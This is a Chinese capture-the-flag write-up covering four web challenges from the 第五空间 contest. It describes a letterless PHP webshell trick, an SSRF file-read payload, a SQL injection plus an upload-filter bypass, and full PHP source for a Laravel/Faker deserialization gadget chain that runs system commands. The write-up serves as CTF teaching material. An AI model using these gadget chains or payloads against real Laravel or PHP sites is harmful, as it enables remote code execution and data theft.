第五空间-WP

第五空间 web wp

Posted by BY Diego on June 27, 2020

hate-php

简单的无字符webshell 利用取反绕过 + php7 特性

NwNpLV.png

NwNSs0.png

flag{ecee9b5f24f8aede87cdda995fed079c}

do you know

非预期解

index.php 存在如下限制 NwaTqx.png 检测 $_SERVER['QUERY_STRING'] 但是不会url解码 ,因此url编码绕过

下面几个限制 _GET 最后一个参数复制给url 构造如下

a=1&b=1&url=..

后面是php的curl, 因此为ssrf ,支持file,dict等协议 尝试读文件 NwaqIO.png xxe.php 存在main.php 和 hint.php 读取文件main.php NwabdK.png

发现存在flag.php NwaHZ6.png

payload

?a=1&b=1&url=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70

flag{5bc0bc291d322450679866d5ddf0a346}

laravel

从网上公开的利用链已经不能用了 ,尝试自己挖掘

先寻找利用点 全局搜索call_user_func,目标锁定在 NwBdwq.png

然后寻找起始点__destruct 而这里的__destruct 需要调用上面的__call,找到符合条件的点\vendor\laravel\framework\src\Illuminate\Routing\PendingResourceRegistration.php NwBamn.png

会去调用register,而register又会调用$this->registrar->register(),同时$this->registrar可控,因此调用了__call

利用

目的是利用vendor\fzaninotto\faker\src\Faker\ValidGenerator.php__destructcall_user_func 这里$this->validator可控 $res 为call_user_func_array 的返回值 NwBNOs.png

因此还需要寻找一个返回值可控的点,同时由于name 不可控因此 调用的方法不可控,但是会调用可控制类的__call方法,因此再寻找一个符合条件的__call 方法

vendor\fzaninotto\faker\src\Faker\DefaultGenerator.php$this->default可控 因此$res可控 NwBtyj.png

最终call_user_func全部可控,构造链如下

<?php

namespace Illuminate\Routing {

	class PendingResourceRegistration{

    	protected $registrar;
    	protected $registered = false;
    	public function __construct(){

    	    $this->registrar = new \Faker\ValidGenerator();
    	}
	}

}

namespace Faker {
	class ValidGenerator{
    	protected $generator ;//= new DefaultGenerator();
    	protected $validator;
    	protected $maxRetries=1;

    	public function __construct(){

    		$this->generator = new DefaultGenerator();
    		$this->validator = "system";

    	}
    }

    class DefaultGenerator{
    	protected $default="cat /flag";
    }

}

namespace {

	$a = new Illuminate\Routing\PendingResourceRegistration();
	echo urlencode(serialize($a));
}
?>

亦或者如下

<?php
namespace Faker {
	class ValidGenerator{
    	protected $generator ;//= new DefaultGenerator();
    	protected $validator;
    	protected $maxRetries=1;

    	public function __construct(){

    		$this->generator = new DefaultGenerator();
    		$this->validator = "system";

    	}
    }

    class DefaultGenerator{
    	protected $default="cat /flag";
    }

}

namespace Symfony\Component\Routing\Loader\Configurator{

	class CollectionConfigurator{
		private $parent;
    	private $parentConfigurator;
    	private $parentPrefixes;
    	public function __construct(){
    		$this->prefixes = 1;

    	    $this->parent = new \Faker\ValidGenerator();
    	}
	}
}

namespace {

	$a = new Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator();
	echo urlencode(serialize($a));
}

NwDPXj.png flag{90569859b0164266ef04461bbc1d5cc5}

美团外卖

一开始以为是个注入题目 可以'union select 'md5'# 然后对应值登入 但是发现是个空壳

扫描目录发现存在www.zip 审计存在注入漏洞 daochu.php(无任何过滤) NwsNOH.png

注入发现hints Nwsd0A.png

是个后台地址,同时发现框架使用了webuploader 插件 ,存在上传漏洞 lib\webuploader\0.1.5\server\preview.php多加了限制 然后大写绕过 Nwsamd.png

NwswTI.png 最后?file = /flag 即可

Nwst6e.png

flag{90569859b0164266ef04461bbc1d5cc5}